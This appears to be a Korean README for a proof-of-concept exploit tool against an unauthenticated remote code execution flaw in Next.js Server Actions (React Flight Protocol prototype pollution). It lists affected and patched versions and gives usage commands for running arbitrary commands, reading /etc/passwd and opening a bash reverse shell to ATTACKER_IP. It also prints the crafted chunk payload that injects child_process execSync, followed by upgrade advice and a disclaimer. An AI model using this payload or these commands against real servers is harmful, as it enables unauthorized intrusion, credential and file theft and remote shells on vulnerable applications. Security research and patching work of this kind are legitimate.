
React Flight Protocol 역직렬화를 통한 Next.js Server Actions의 치명적인 인증되지 않은 RCE에 대한 개념 증명 익스플로잇으로, 취약한 서버에서 임의 명령 실행을 가능하게 합니다.
| 세부 항목 | 정보 |
|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| 심각도 | 치명적(CVSS 10.0) |
| 영향받는 React | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 영향받는 Next.js | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| 영향받지 않음 | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| 패치된 Next.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| 패치된 React | 19.0.1, 19.1.2, 19.2.1 |
| 유형 | 원격 코드 실행(RCE) |
| 인증 필요 | 없음 |
이 취약점은 Server Actions 처리 중 React Flight Protocol이 청크를 역직렬화하는 방식에 존재합니다. 공격자는 조작된 폼 데이터를 통해 **프로토타입 오염(prototype pollution)**을 악용하여 다음을 수행할 수 있습니다:
__proto__)을 통해 Function 생성자에 접근이는 서버 액션에 대한 어떠한 검증보다 먼저 발생하므로, Server Actions가 활성화된 모든 Next.js 앱에서 악용이 가능합니다.
다음 조건에 해당하는 모든 Next.js 애플리케이션은 취약합니다:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
명령 출력은 digest 필드에 표시됩니다.
이 익스플로잇은 React Flight Protocol의 청크 해석 메커니즘을 활용합니다:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
공격 체인:
$1:__proto__:then을 통한 프로토타입 탐색$1:constructor:constructor를 통한 Function 생성자 접근_prefix 필드를 통한 임의 코드 주입즉시 업그레이드하세요:
npm install next@latest
# or
pnpm update next
패치된 버전: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
참고: Next.js 14.x 안정 버전과 13.x는 취약하지 않습니다.
⚠️ 이 PoC는 교육 목적 및 승인된 보안 테스트 용도로만 제공됩니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용하세요. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
@msanft의 원본 연구를 기반으로 합니다. 취약점 발견과 최초 PoC에 대한 모든 공로는 해당 연구자에게 있습니다.
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE